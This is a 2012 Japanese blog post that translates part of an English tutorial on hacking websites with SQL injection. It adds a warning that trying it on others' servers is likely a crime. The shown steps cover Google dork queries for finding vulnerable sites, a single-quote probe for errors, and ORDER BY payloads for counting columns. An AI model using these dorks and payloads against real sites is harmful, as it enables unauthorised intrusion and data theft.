Hatena::ブログ(Diary)

おかねがない(゚∀゚)ッ!! RSSフィード Twitter

2012-07-01 SQLインジェクションでWebサイトをハッキングする方法(超意訳版) このエントリーを含むブックマーク

f:id:muggles0812:20120701183245j:image:left


ちょっと面白い記事を見つけたのでご紹介します。
内容はSQLインジェクションに関するもので、ターゲットを見つける方法から、SQLインジェクションの具体的な方法まで書かれていて、下手なセキュリティ本を読むよりためになりそうです。ただ、この内容を人様のサーバに対して行ってしまうと、たぶん犯罪になりますので、試す場合はご自身の環境で試されることをお勧めします。


内容ここから
--------------------
Hacking website using SQL Injection


SQLインジェクションを説明する前に、データベースとSQLがどんなものなのか知っておこう。


データベース
データベースとはデータの集まりで、Webサイト全体から見ると、データベースは
ユーザのIDやパスワード、その他Webサイトで利用されるデータが保管されている場所になる。


データベースのリスト:


SQL
SQLとは「Structured Query Language」の略で、データベースとやり取りをするためのものだ。私たちはデータベースを照会(querying)する。だから、これはクエリ言語(query language)と呼ばれている。


シンプルで一般的なSQLによる照会

この命令はテーブルの内容を表示するために使用される。
SELECT * FROM table_name;



SELECT * FROM users;


これはテーブルにデータを記録するためのSQL
INSERT INTO table_name(column_namec,...) VALUES(corresponding values for columns):



INSERT INTO users(username, userid) VALUES("BreakTheSec", "break");


次からはSQLインジェクションについて、より詳しく説明していく。


SQLインジェクションって何?
SQLインジェクションは、広く知られたハッキング手法で、この手法を用いると
正規の認証を通ることなく、データベースにアクセスすることが可能になる。
これはつまり、攻撃者がデータベースのすべての情報を手にすることを意味している。


SQLインジェクションでできること
  • 認証のバイパス
  • 機密情報へのアクセス
  • Webサイトの改竄
  • データベースの停止


Step 1: セキュリティホールを持ったWebサイトを見つける
SQLインジェクションを仕掛ける相手を見つけるには、Google検索が役に立つ。
Googleを使うことで、セキュリティホールを持ったWebサイトを見つけることができる。Googleを使ってターゲットを見つけるには、ちょっとした検索トリックを使う。
Googleには色んな検索トリックがあるが、ここでは「inurl:」コマンドを使って、ターゲットを見つける。



inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=


もし、特定のWebサイトをハッキングしたい場合は以下のようにすればよい。
site:www.○○○.com inurl:index.php?id=


Step 2: セキュリティホールをチェックする
さあ、Webサイトのセキュリティホールをチェックしてみよう。セキュリティホールをチェックするには、URLの最後にシングルクオート「'」をくっつけて、Enterキーを押すだけでいい。(このときに元からある数字とシングルクオートの間にスペースをいれてはいけない)


具体的には下記のようにする
http://www.○○○.com/index.php?id=2'


ここで、もしまた全く同じページが表示されたり、404(Not Found)ページや、その他の
Webページが表示された場合、そのページにSQLインジェクションを仕掛けることはできない。


もしSQL関連のエラーが画面に表示されていたら...
それはセキュリティホールを持ったWebサイトだ。


SQLのエラー例
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Step 3: テーブルのカラム数を調べる
セキュリティホールを持ったWebサイトを見つけたら、次はテーブルのカラム数を調べてみよう。カラム数を調べるには、さっきURLに付加したシングルクオートを「ORDER BY number」に置き換えてページを読み込む。


具体的には下記のようにする
http://www.○○○.com/index.php?id=2 order by 1
http://www.○○○.com/index.php?id=2 order by 2
http://www.○○○.com/index.php?id=2 order by 3
http://www.○○○.com/index.php?id=2 order by 4
上のように順番に数字を変えて実行し「unknown column」エラーが出るまで続ける。
もし、x番目の数字でエラーが出たら、カラム数はx-1であるということがわかる。



http://www.○○○.com/index.php?id=2 order by 1(noerror)
http://www.○○○.com/index.php?id=2 order by 2(no error)
http://www.○○○.com/index.php?id=2 order by 3(no error)
http://www.○○○.com/index.php?id=2 order by 4(no error)
http://www.○○○.com/index.php?id=2 order by 5(no error)
http://www.○○○.com/index.php?id=2 order by 6(no error)
http://www.○○○.com/index.php?id=2 order by 7(no error)
http://www.○○○.com/index.php?id=2 order by 8(error)
上の例では8個目でエラーになっている。よって、カラム数は7ということになる。


この方法ではうまくいかない場合は、URLの末尾に「--」を追加して試してみるとよい。
http://www.○○○.com/index.php?id=2 order by 1--


-------------------
内容ここまで


この記事のターゲットのデータベースはMySQLなんでしょうか。
私の環境(PostgreSQL)では、この記事の方法にちょっと手を加えることでうまくできました。本当はまだ続きがありますので、気になる方はこちらをどうぞ

Hacking website using SQL Injection
http://www.breakthesecurity.com/2010/12/hacking-website-using-sql-injection.html


記事を書いたらつぶやきます。→muggles0812